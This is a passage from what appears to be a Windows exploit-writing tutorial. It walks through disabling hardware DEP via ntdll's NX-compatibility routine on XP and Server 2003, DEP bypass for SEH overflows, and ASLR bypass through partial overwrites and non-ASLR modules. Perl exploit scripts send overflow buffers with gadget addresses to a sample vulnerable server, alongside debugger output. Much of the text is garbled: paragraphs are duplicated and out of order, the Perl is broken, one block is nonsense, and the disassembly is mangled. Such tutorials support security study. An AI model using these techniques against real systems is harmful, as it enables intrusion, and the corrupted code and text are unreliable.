At 7c91cd44, steps (1) to (3) are executed. esi is set to 2, and we will jump to 0x7c94153e. That means that the second address we need to craft on our custom stack is 7c91cd44.

At 7c91cd49, the jump is made to 7c94153e, which contains the following instructions:

```
7c94153e 8975fc          mov     dword ptr [ebp-4],esi
```

This is where steps (4) and (5) are executed. esi contains value 2, and ebp-4 is now filled with the contents of esi (=2). Next we will jump to 7c91cd4f, which contains the following instructions:

```
0:000> u 7c91cd4f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c91cd4f 837fed            mov     dword ptr [ebp-4],0
7c91cd53 0f8508b100        jne    ntdll!LdrpCheckNXCompatibility+0x1d (7c936861)
```

This is step 6. The code determines whether the local variable (ebp-4) contains 0 or not. We have put '2' in this local variable, so the jump (jump if not equal) is made to 7c936861. At that address, the following instructions are executed (step 7):

```
0:000> u 7c936861
ntdll!LdrpCheckNXCompatibility+0x4d:
7c936861 6a04            push    4
7c936863 8d45fc          lea     eax,[ebp-4]
7c936866 50            push    eax
7c936867 6a22            push    22h
7c936869 6aff            push    0xFFFFFFFF
7c93686b e82e7400        call    ntdll!RtlSetInformationProcess (7c90dc9e)
7c936870 e91865f7e8      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c91cdd8)
7c936875 90            nop
```

At 7c93686b, the ZwSetInformationProcess function is called. The instructions prior to that location basically set the arguments in the ProcessExecuteFlags Information class. One of these parameters (currently at ebp-4) is 0x02, which means that NX will be disabled. When this function completes, it returns back and executes the next instruction (at 7c936870), which contains the epilog:

```
7c936870 6a05            push    5
tdll!LdrpCheckNXCompatibility+0x5c:
7c91cdd8 9e0400          ret     4
```

At that point, NX is disabled, and the "ret 4" will jump back to the caller function. If we have set up the stack correctly, we land back at a location on the stack that can be filled with a jump instruction to our shellcode.

 Sounds simple - but the guys that discovered this technique most likely had to research everything in reverse order... A big high five & thumbs up for a job well done !

Anyways, what does this mean in terms of setting up the stack? We have talked about addresses and offsets to take care of… but how do we need to build our buffer?

ImmDbg can help us with this. ImmDbg comes with a pycommand !findantidep, which will help you setting up the stack correctly. Alternatively, my own custom pycommand pvefindaddr can help looking for more addresses that could be used for setting up the stack. (I have noticed that !findantidep does not always get you the correct addresses. So you can use !findantidep to get the stack structure, and pvefindaddr to get the correct addresses)

### Prefindaddr for ImmDbg v1.74 and up

(Log in before downloading this file !) - Downloaded 303 times

---

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

26/02/2010 - 29 / 48

[Log in before downloading this file !] - Downloaded 303 times

---

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/
First, look up 2 of the required addresses using pvefindaddr

Next, run findantidep to get the structure. This pycmd will show you 3 dialog boxes. Just select an address in the first box (any address), then fill in ‘jmp esp’ in the second box (without the quotes), and select any address from the 3rd box. Note that we’re not interested in the addresses provided by findantidep, only in the structure...

Open the Log window:

This shows us how we need to set up the stack, according to findantidep:

<table>
<thead>
<tr>
<th>1st addr</th>
<th>offset 1</th>
<th>2nd address</th>
<th>offset 2</th>
<th>54 bytes</th>
<th>jmp to shellc</th>
<th>shellcode</th>
</tr>
</thead>
</table>

1st addr = set eax to 1 and return. (for example, 0x7c95371a - discovered with pvefindaddr). In our malicious payload, this is what we need to overwrite saved EIP with. At this address (0x7c95371a), ret 4 is performed, so we need to add 4 bytes offset after this address (offset 1).

2nd addr = initiate the NX disable process by jumping to cmp al,1. This is 0x7c91cd44 (discovered with pvefindaddr). When this process returns, another ret 4 will be performed (so we need to add 4 more bytes offset) (offset 2).

Then, after these 54 bytes, we need to put the address of a “jmp to the shellcode”. This is the location where the flow will return to after disabling NX. Finally, we can put our shellcode.

(it’s obvious that this stack structure depends on the real stack values when the exploit is ran. Just see if you can reference the shellcode by doing a jump/call/push+ret instruction and fill in the values accordingly). In fact, the entire structure shown by findantidep is just theory. You just need to build the buffer step by step and by looking at register values after every step. That will ensure that you are building the right buffer. And that is exactly what we will do using our example application.

Let’s have a look at our vulnsvr.exe example. We know that we will overwrite saved EIP after 508 bytes. So instead of overwriting saved EIP with the address of jmp esp, we will put the specially crafted buffer at that location, which will disable NX first.

We’ll build the stack from scratch. Let’s start by putting the first address at saved EIP and then see where that leads us to:

```
1st addr | 508 A’s + 0x7c95371a + “BBBB” + “CCCC” + 54 D’s + “EEEE” + 700 F’s
```

```
 use strict;
 use Socket;
 my $junk = "A" x 508;
 my $disabledep = pack("V",0x95371a);
 $disabledep = $disabledep."BBBB";
 $disabledep = $disabledep."CCCC";
 $disabledep = $disabledep."D" x 54;
 $disabledep = $disabledep."EEEE";
 my $shellcode="F" x 700;

 # initialize host and port
 my $host = shift || ‘localhost’;
 my $port = shift || 200;
 my $proto = getprotobyname(‘tcp’);

 # get the port address
 my $iaddr = inet_aton($host);
 my $iaddr = sockaddr_in($port, $iaddr);

 # create the socket, connect to the port
 $socket = socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die “socket: $!”;

 # print data sent to the port
 print "[+] Setting up socket\n";

 # Reading back the values
 print "[+] Connecting to host on port $port\n";
 connect($socket, $iaddr) or die "connect: $!";

 # send data
 print "[+] Sending payload\n";

 # close socket or die “close: $!”;
```
After running this buffer against the application, we get:

```
(1154.13c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001 edi=00403388
ebp=42424242 esp=0012e26c ebp=41414141 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010246
42424242 ??
```

ok, so the first address worked. esi contains 1 and flow is returned to BBBB. So we need to put the second address where BBBB is placed. The only additional thing we need to look at is ebp. When jumping to the second address, we know that – at a certain point, value 2 will be stored in a local variable at ebp-4. At this point ebp does not contain to a valid address, so this operation will most likely fail. Let’s see:

```plaintext
use strict;
use Socket;
my $junk = "A" x 508;
my $disabledep = pack('V',0x7c95371a);
my $disabledep = pack('V',0x7c91cd44);
my $disabledep = pack('CCCC';
my $disabledep = pack('EEEEdisp="EEEEE";
my $shellcode="F" x 700;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[*] Setting up socket\n
; # create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"
; connect(SOCKET, $paddr) or die "connect: $!"
; print "[*] Sending payload\n
; my $payload = $junk.$disabledep.$shellcode."\n
; print "[*] Payload sent, .length($payload).\n
; close SOCKET or die "close: $!"
```

App dies, windbg says:

```
(llac.1530): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001 edi=00403388
ebp=7c94153e esp=0012e26c ebp=41414141 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010246
ntdll!LdrpCheckNXCompatibility+0x1a:
7c94153e 8975fc mov dword ptr [ebp-4],esi ss:0023:4141413d=???????
```

Right – attempt to write to ebp-4 (41414141-4 = 4141413d) failed. So we need to adjust the value of ebp before we start executing the routines to disable NX. In order to do so, we need to find an address that will put something useful into EBPA. We could point EBP to an address on the heap, which will work to store the temporary variable... but the leave instruction that is executed after disabling NX will take EBPA and put it in ESP... which will mess up our buffer (and point our stack to an entire other location). A better approach would be to point EBP to a location near our stack. The following instructions would work:

- push esp / pop ebp / ret
- mov esp,ebp / ret
- etc

Again, pvefindaddr will make things easier:
So instead of starting the first phase (setting eax to 1), we’ll first adjust ebp, make sure it returns to our buffer (ret instruction), and then we’ll start the routine.

RET (saved EIP) is overwritten after 508 bytes. We’ll now put the address to perform the stack adjustment at that location, followed by the remaining lines of code:

```perl
use strict;
use Socket;

my $junk = "A" x 508;
my $disabledep = pack('V',0x77eedc70);  #adjust EBP
$disabledep = $disabledep.pack('V',0x7c95371a);  #set eax to 1
$disabledep = $disabledep.pack('V',0x7c91cd44);  #run NX Disable routine
$disabledep = $disabledep."CCCC";
my $shellcode="D" x 54;
my $shellcode = $disabledep."EEEE";

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');

print "[+] Setting up socket\n";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!\n";
print "[+] Sending payload\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".$length($payload)." bytes\n";
close SOCKET or die "close: $!\n";
```

After running this code, we get this:

```
  (bac.1148): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
exa=0012e701 ebx=00000000 ecx=0012e569 edx=0012e700 esi=00000001 edi=00403388
eip=43434343 esp=0012e274 ebp=0012e264 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
43434343 ?? ??

bingo ! NX has been disabled, EIP points at our C's, and ESP points at:
```

```
0:000> d esp
0012e274 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e284 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e294 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e2a4 44 44 45 45 45 46 46 46-46 46 46 46 46 46 46 46  DDEEEEFFFFFFFFFF
```
```
my $disabledep = pack('V',0x77eedc70);  #adjust EBP
$nops = "x 30;"

$host = shift;  # get the port address

$host = "localhost";

$port = "shift";  #200;

$proto = getprotobyname("tcp");

$port = "getportnumber"("tcp");

$port = "socket"("PF_INET", "SOCK_STREAM", $proto) or "die"("";"");

$host = "inet_aton"($host);

$port = "socket"("$paddr") or "die"("";"");

$host = "bind"($host, $port) or "die"("";"");

$host = "listen"($host, 10) or "die"("";"");

$host = "accept"($host) or "die"("";"");

$host = "write"($host, "Hello".

$host = "read"($host) or "die"("";"");

$host = "close"($host) or "die"("";"");

$host = "bind"($host, $port) or "die"("";"");

$host = "listen"($host, 10) or "die"("";"");

$host = "accept"($host) or "die"("";"");

$host = "write"($host, "Hello".

$host = "read"($host) or "die"("";"");

$host = "close"($host) or "die"("";"");

$host = "bind"($host, $port) or "die"("";"");

$host = "listen"($host, 10) or "die"("";"");

$host = "accept"($host) or "die"("";"");

$host = "write"($host, "Hello".

$host = "read"($host) or "die"("";"");

$host = "close"($host) or "die"("";"");
So, the value at [ebp-4] is compared, a jump is made to 7c83f54, the followed by the call to ZwSetInformationProcess (at 0×7c827a5d)

we need to point both EBP and ESI to writable addresses in order for the exploit to work.

On Windows 2003 SP2, some additional checks are added (CMP AL and EBP versus EBP vs ESI), which requires us to change our technique just a little. The result is that

Note that this exploit will work, even if NX/HW DEP is not enabled.

**Disabling HW DEP (Windows 2003 SP2) : demonstration**

On Windows 2003 SP2, some additional checks are added (CMP AL and EBP versus EBP vs ESI), which requires us to change our technique just a little. The result is that we need to point both EBP and ESI to writable addresses in order for the exploit to work.

On Windows 2003 server standard R2 SP2, English, the ntdll!LdrpCheckNXCompatibility function looks like this:

```
0:000> uf ntdll!LdrpCheckNXCompatibility
```

```
ntdll!LdrpCheckNXCompatibility:
7c8343b4 B8ff mov edi,edi
7c8343b6 55 push esp
7c8343b7 8bc mov esp,ebp
7c8343b9 51 push ecx
7c8343ba B33db4a9887c0 cmp dword ptr [ntdll!Kernel32BaseQueryModuleData (7c88a9b4),0
7c8343c1 7441 je ntdll!LdrpCheckNXCompatibility+0x5f (7c834404)
```

```
ntdll!LdrpCheckNXCompatibility+0x8f:
7c8343c3 8305f0c0 and dword ptr [ebp-4],0
7c8343c7 56 push esi
7c8343c8 B87508 mov esi,dword ptr [ebp+8]
7c8343c9 56 push esi
7c8343cc 8955100000 call ntdll!LdrpCheckSafeDiscDll (7c83956a)
7c8343d1 3c01 cmp al,1
7c8343d3 8946eb10000 je ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)
```

```
ntdll!LdrpCheckNXCompatibility+0x21:
7c8343d9 56 push esi
7c8343da e8452000 call ntdll!LdrpCheckAppDatabase (7c8396c3)
7c8343df B4C0 test al,al
7c8343e1 0f550b10000 jmp ntdll!LdrpCheckNXCompatibility+0x5f (7c834404)
```

```
ntdll!LdrpCheckNXCompatibility+0x34:
7c8343e7 56 push esi
7c8343e8 B84510000 mov esi,dword ptr [ebp+8]
7c8343e9 56 push esi
7c8343ed 84C0 test al,al
7c8343ef 0f55270100 jmp ntdll!LdrpCheckIncompatibleDllSection (7c83956a)
```

```
ntdll!LdrpCheckNXCompatibility+0x45:
7c8343f5 837dfc00 cmp dword ptr [ebp-4],0
7c8343f9 804e3780 or byte ptr [esi+37h],80h
```

```
ntdll!LdrpCheckNXCompatibility+0x5a:
7c8343f7 B4E37800 or byte ptr [esi+37h],0h
7c8343f8 0f5560b1000 jmp ntdll!LdrpCheckAppDatabase (7c8396c3)
```

```
ntdll!LdrpCheckNXCompatibility+0x7f:
7c834404 c9 leave
7c834405 c20400 ret 4
```

```
ntdll!LdrpCheckNXCompatibility+0x2b:
7c83f547 c745fc2000000 mov dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 (00000000)
```

```
ntdll!LdrpCheckNXCompatibility+0x4b:
7c83f54e 6a04 push 4
7c83f550 B845fc lea eax,[ebp-4]
7c83f553 50 push eax
7c83f554 6a22 push 22h
7c83f556 6aff push 0FFFFFfF
7c83f558 e800005eff call ntdll!ZwSetInformationProcess (7c827a5d)
7c83f55f e99d40eff jmp ntdll!LdrpCheckNXCompatibility+0x5a (7c834404)
```

```
ntdll!LdrpCheckNXCompatibility+0x3e:
7c84701c c745fc2000000 mov dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 (00000000)
7c847023 e9cdd3f1 jmp ntdll!LdrpCheckNXCompatibility+0x45 (7c834404)
```

So, the value at [ebp-4] is compared, a jump is made to 7c83f54, the followed by the call to ZwSetInformationProcess (at 0x7c827a5d)
and run the exploit code against the server and see what happens:

Open vulnsrv.exe in windbg, and set a breakpoint at 0×7c8343f5 (so when the NX Disable routine is called). Then start vulnsrv (you may have to hit F5 a couple of times)

- 0×77c177f8 : adjust EBP (push esp, pop ebp, ret)
- 0×71c0db30 : adjust ESI (push esp, pop esi, ret)

Let's see what happens with the following exploit code, using the following 2 addresses to adjust esi and ebp:

whatever is put in ESI, will be used to jump to later on.

need to review the various instructions & look at the contents of the registers here. One of the things to notice, when using our example vulnsrv.exe application, is that

We have already learned how to alter the contents of EBP (so it would point at a writable useful location), now we need to do the same for ESI. On top of that, we really

That's where ESI is used. If that instruction has been executed, esi is popped, and the function epilog begins.

After executing this routine, it will return back to the caller function, arriving at 0×7c8343ff

my $nops = "\x90" x 30;
my $shellcode="\xcc" x 700;
# initialize host and port
my $host = shift || "localhost";
my $port = shift || 200;
my $sport = getprotobyname("tcp");
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[*] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: ";
print "[*] Connecting to host on port $port\n";
connect(SOCKET, $paddr) or die "connect: ";
print "[*] Sending payload\n";
my $payload = $junk.$disables.$nops.$shellcode."\n";
print SOCKET $payload."\n";
print "[*] Payload sent, \n\t.length($payload), \n\tbytes\n";
close SOCKET or die "close: ";
system("telnet \$host \$port");

Open vulnsrv.exe in windbg, and set a breakpoint at 0x7c8343f5 (so when the NX Disable routine is called). Then start vulnsrv (you may have to hit F5 a couple of times) and run the exploit code against the server and see what happens:
Now step/trace through the instructions (with the 't') command:

Каркас.

Breakpoint 0 hit
eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
cl:001b esp:00000000 ebp:0012e268 esp:00000000 iopl:0         nv up ei pl nz na po nc
    eip:7c82860a esp:0012e25c ebp:0012e268   refs:00000000 ds:0023 fs:003b gs:0000

7c8343f9 0f85f4b10000 jne ntdll!LdrpCheckNXCompatibility+0x4b [br=1]
    7c8343f9 0f85f4b10000 jne ntdll!LdrpCheckNXCompatibility+0x4b [br=1]
    7c8343f9 0f85f4b10000 jne ntdll!LdrpCheckNXCompatibility+0x4b [br=1]
7c8343f9 0f85f4b10000 jne ntdll!LdrpCheckNXCompatibility+0x4b [br=1]

Register : both esi and ebp now point to a location close to the stack. The low bit of eax contains 1, so that's an indication that the 'mov al,1' instruction worked.
use strict;
use Socket;

my $junk = "A" x 508;
my $disabledep = pack("V",0x77c177f8);  #adjust ebp
$disabledep = $disabledep.pack("V",0x71c0db30);   #adjust esi
$disabledep = $disabledep.pack("V",0x7c86311d);  #set eax to 1
$disabledep = $disabledep.pack("V",0x783ebdff);  #jmp esp (user32.dll)

my $nops = "\x90" x 30;
my $shellcode="\xCC" x 700;

# initialize host and port
my $host = "localhost";
my $port = "2000";
my $proto = getprotobyname("tcp");

my $iaddr = inet_aton($host);
my $iport = shift;
my $junk = shift;

my $paddr = sockaddr_in($port, $iaddr);
$iaddr = inet_aton($host);
$proto = getprotobyname("tcp");
$port = shift;
$host = shift;
$paddr = sockaddr_in($port, $iaddr);
$paddr = sockaddr_in($port, $iaddr);
$host = shift;
$port = shift;
socket($paddr, $iaddr);
socket: $!

print "[+] Connecting to $host on port $port
[+] Setting up socket
[+] Payload sent, ".length($payload)." bytes
[+] Close socket or die "close: $!";
system('telnet '.$host.' 5555');

(a50.a70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e761 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e26c edi=00403388
eip=47474747 esp=0012e270 ebp=0012e264 iopl=0
nc up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fip=00000000
efl=00010246
47474747 ?? ?? ?? ?? ??

Aha – this looks a lot better. EIP now contains 47474747 (= GGGG) We don’t even need the jmp esp (which was still in the code from the XP version of the exploit), or the
nops, or the 4 bytes HHHH (padding)

There are various ways to get to our shellcode now. Look at the other registers. You’ll see for example that edx points to 0×0012e700, which sits almost at the end of the
shellcode. So if we could jump edx, and put some jump back code at that location, it should work:

jmp edx (user32.dll) : 0×773eb603. After doing some calculations, we can build a buffer like this :
[jmp edx] [10 nops] [shellcode] [more nops until edx] [jump back].
If we want to have some room for shellcode, we can put 500 nops after the shellcode. edx will then point to 0×0012e900, which sits somewhere around the last 50
nops of these 500 nops. So if we put jumpcode after about 480 nops, and make the jumpcode go back to the nops before the shellcode, we should have a winner:

use strict;
use Socket;
my $junk = "A" x 508;
my $disabledep = pack('V',0x77c177f8);  #adjust ebp
$disabledep = $disabledep.
pack('V',0x71c0db30);   #adjust esi
$disabledep = $disabledep.
pack('V',0x7c86311d);  #set eax to 1
$disabledep=  $disabledep.
pack('V',0x773eb603);  #jmp edx user32.dll
$disabledep = $disabledep.
pack('V',0x7c8343f5);  #run NX Disable routine

my $nops1 = "\x90" x 10;
In normal SEH based exploits, a pointer to pop pop ret instructions are used to redirect the execution to the nSEH field, where jumpcode is placed (and subsequently executed). When DEP is enabled, you obviously still need to overwrite the SE structure, but instead of overwriting the SE Handler with a pointer to pop pop ret, you need to overwrite it with a pointer to pop regpop regpop espiret. The pop esp will shift the stack and the ret will in fact jump to the address in nSEH. (So instead of executing...

DEP bypass with SEH based exploits

In the 2 examples above, both exploits (and the DEP bypass technique) were based on direct RET overwrite. But what if the exploit is SEH based?

In normal SEH based exploits, a pointer to pop reg pop ret instructions are used to redirect the execution to the nSEH field, where jumpcode is placed (and subsequently executed). When DEP is enabled, you obviously still need to overwrite the SE structure, but instead of overwriting the SE Handler with a pointer to pop pop ret, you need to overwrite it with a pointer to pop regpop regpop espiret. The pop esp will shift the stack and the ret will in fact jump to the address in nSEH. (So instead of executing...
Jumpcode in a classic SEH based exploit, you fill the nSEH field with the first address of the NX bypass routine, and you overwrite SE Handler with a pointer to pop/pop/pop esp/ret. Combinations like this are hard to find, pvefindaddr has a routine that will help you finding addresses like this.

**ASLR protection**

Windows Vista, 2008 server, and Windows 7 offer yet another built-in security technique (not new, but new for the Windows OS), which randomizes the base addresses of executables, dll’s, stack and heap in a process’s address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack for each thread, and it will randomize the heap as well). This technique is called ASLR (Address Space Layout Randomization).

The addresses change on each boot. ASLR is enabled for by default for system images (excluding IE7), and for non-system images if they were linked with the /DYNAMICBASE link option (available in Visual Studio 2005 SP1 and up, and available in VS2008). You can manually change the dynamicbase bit in a compiled library to make it ASLR aware (set 0×40 DllCharacteristics in the PE Header – you can use a tool such as PE Explorer to open the library & see if this DllCharacteristics field contains 0×40 in order to determine whether it is ASLR aware or not).

There is a registry hack to enable ASLR for all images/applications:

```
Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management) and add a new key called "Novelmages" (DWORD)
```

Possible values:

- 0 : never randomize image bases in memory, always honor the base address specified in the PE header.
- 1 : randomize all relocatable images regardless of whether they have the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag or not.
- any other value : randomize only images that have relocation information and are explicitly marked as compatible with ASLR by setting the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE (0×40) flag in DllCharacteristics field the PE header. This is the default behaviour.

In order to be effective, ASLR should be accompanied by DEP (and vice versa).

Because of ASLR, even if you can build an exploit on Vista (stack overflow with direct ret overwrite, or seh based exploit), using an address from one of the dll’s, there's a huge chance that the exploit will only work until the computer reboots. After the reboot, randomization is applied, and your jump address will not be valid anymore.

There are a couple of techniques to bypass ASLR. I’ll discuss the techniques that use partial overwrite or uses addresses from non-ASLR enabled modules. I’m not going to discuss techniques that use the heap as bypass vehicle, or that try to predict the randomization, or use bruteforce techniques.

**Bypassing ASLR : partial EIP overwrite**

This technique was used in the famous Animated Cursor Handling Vulnerability Exploit (MS Advisory 935423) from march 2007, discovered by Alex Sotirov. The following links explain how this bug was found and exploited:

```
http://www.phreedom.org/research/vulnerabilities/ani-header/ - Metasploit - Exploiting the ANI vulnerability on Vista
```

This particular exploit was believed to be the first exploit that bypasses ASLR on Vista (and, while breaking protection mechanisms, also bypasses GS - well, in fact, because the ANI header data is read into a structure, there was no stack cookie :-)).

The idea behind this technique is quite clever. ASLR will randomize only part of the address. If you look at the base addresses of the loaded modules after rebooting your Vista box, you’ll notice that only the high order bytes of an address are randomized. When an address is saved in memory, take for example 0×12345678, it is stored like this:

<table>
<thead>
<tr>
<th>LOW</th>
<th>HIGH</th>
</tr>
</thead>
<tbody>
<tr>
<td>87</td>
<td>43 21</td>
</tr>
</tbody>
</table>

When ASLR is enabled, Only “43” and “21” would be randomized. Under certain circumstances, this could allow a hacker to exploit / trigger arbitrary code execution. Imagine you are exploiting a bug that allows you to overwrite saved EIP. The original saved EIP is placed on the stack by the operating system. If ASLR is enabled, the correct ASLR randomized address will be placed on the stack. Let’s say saved EIP is 0×12345678 (where 0×1234 is the randomized part of the address, and 5678 points to the actual saved EIP). What if we could find some interesting code (such as jump esp, or something else useful) in the address space 0×1234XXXX (where 1234 is randomized, but hey – the OS has already put those bytes on the stack)? We only need to find interesting code within the scope of the low bytes and replaced these low bytes with the corresponding bytes pointing to the address of our interesting code.

Let’s look at the following example: open notepad.exe in a debugger (Vista Business, SP2, English) and look at the base address of the loaded modules:

![Executable modules](image)

Reboot and perform the same action again:
The 2 high bytes of these base addresses are randomized. So every time you want to use an address from these modules, for whatever reason (jmp to a register, or pop pop ret, or anything else), you cannot simply rely on the address found in these modules, because it will change after a reboot.

Now do the same with the vulnsrv.exe application (we have used this application 2 times already in this post, so you should now what application I am talking about):

After a reboot:

So even the base address of our custom application got changed. (Because it was compiled under VC++ 2008, which has the /dynamicbase linker flag set by default).
The !ASLRdynamicbase pycommand in ImmDbg will show the ASLR awareness of the executable binaries/loaded modules:

<table>
<thead>
<tr>
<th>Base</th>
<th>Name</th>
<th>DLL Characteristics</th>
<th>Enabled?</th>
</tr>
</thead>
<tbody>
<tr>
<td>011e0000</td>
<td>uwinrsv.exe</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>76050000</td>
<td>kernel32.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>72560000</td>
<td>msvcrt.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>72050000</td>
<td>MSVCRT32.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>77560000</td>
<td>Rpcrt4.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>77760000</td>
<td>ntdll.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>7f760000</td>
<td>W32d.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
<tr>
<td>6f700000</td>
<td>MSVCRT90.dll</td>
<td>0x8140</td>
<td>ASLR Aware@dynamicbase</td>
</tr>
</tbody>
</table>

Compile this application without GS and run it in Vista (without HW DEP/NX). We already know that, after sending 508 bytes to the application, we can overwrite saved EIP. Using a debugger (by setting a breakpoint on calling function pr()), we find out that saved EIP contains something like 0x011e1293 before it got overwritten. (where 0x011e is randomized, but the low bits “1293” should be the same across reboots)

So when using the following exploit code:

```perl
use strict;
use Socket;
my $junk = "A" x 508;
my $eipoverwrite = "BBBB";
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!

[+] Connecting to $host on port $port

connect(SOCKET, $paddr) or die "connect: $!

[+] Setting up socket

print [*] Connecting to $host on port $port\n
[+] Connecting to $host on port $port\n
connect(SOCKET, $paddr) or die "connect: $!

[+] Sending payload\n
print [*] Sending payload\n
Payload sent\n
close SOCKET or die "close: $!";
```

the registers & stack looks like this after EIP was overwritten:

```plaintext
(f90.928): Access violation - code c0000005 (first chance)
```

First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=0018e23a ebx=00000000 ecx=0018e032 edx=0018e200 esi=00000001 edi=011e3388
you overwrite the 2 low bytes, a string terminator (00 – null bytes) are added, overwriting half of the high bytes as well… So the exploit would only work if you can find an
low bytes of saved EIP instead of overwriting saved EIP entirely. In this example, no such instruction exists.

There is a second issue with this example. Even if a usable instruction like that exists, you would notice that overwriting the 2 low bytes would not work because when you overwrite the 2 low bytes, a string terminator (00 – null bytes) are added, overwriting half of the high bytes as well… So the exploit would only work if you can find an
something that will do a jmp edx instruction and overwrite EIP with the address of jmp edx. (and then use some backwards jumpcode

0:000> d esp
0018e200  0a 00 18 00 00 00 00 00 41 41 41 41 41 41 41 41  .........AAAAA
0018e201  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e202  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e203  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e204  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e205  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e206  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0018e207  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA

Normally, when we get this, we would probably look for a jump edx instruction and overwrite EIP with the address of jmp edx. (and then use some backwards jumpcode
to get to the beginning of the shellcode), or push edx/ret inside the address range of 0×011eXXXX – which is the saved EIP before the BOF occurs), and then only overwrite the 2
low bytes of saved EIP instead of overwriting saved EIP entirely. In this example, no such instruction exists.

And that limits us to a maximum of 255 addresses in the 0×011e range :
Bypassing ASLR : using an address from a non-ASLR enabled module

A second technique that can be used to bypass ASLR is to find a module that does not randomize addresses. This technique is somewhat similar to one of the methods to bypass SafeSEH : use an address from a module that is not safeseh (or ASLR in this case) enabled. I know, some people may argue that this is not really “bypassing” the restriction... but hey - it works and it allows for building stable exploits.

In certain cases (in fact in a lot of cases), the executable binaries (and sometimes some of the loaded modules) are not ASLR aware/enabled. That means that you could potentially use addresses/pointers from those binaries/modules in order to jump to shellcode, because those addresses will most likely not get randomized. In the case of the executable binary : the base address for these binaries often start with a null byte. So that means that even if you can find an address that will jump to your shellcode, you’ll need to deal with the null byte. This may or may not be a problem, depending on the stack layout and the contents of the registers when the BOF occurs.

Let’s have a look at a vulnerability that was discovered in august 2009 : [http://www.milw0rm.com/exploits/9329](http://www.milw0rm.com/exploits/9329). This exploit shows a BOF vulnerability in BlazeDVD 5.1 Professional, triggered by opening a malicious plf file. The vulnerability can be exploited by overwriting the SEH structure.

You can download a local copy of this vulnerable application here : [BlazeDVD 5.1 Professional](http://www.milw0rm.com/exploits/9329).

Now let’s see if we can build a reliable exploit for Vista for this particular vulnerability.

Start by determining how far we need to write in order to hit the SE structure. After doing some simple tests, we find that we need an offset of 608 bytes to overwrite the SEH structure.

```perl
my $sploitfile = "blazesploit.plf";
print "[*] Preparing payload\n";
my $junk = "A" x 668;
my $payload = "BBBBCCCC";
my $sploitfile = $junk.
print "[*] Writing exploit file $sploitfile\n";
open ($FILE,">$sploitfile") or die "Error %s
";my
print "$FILE $payload;"
```
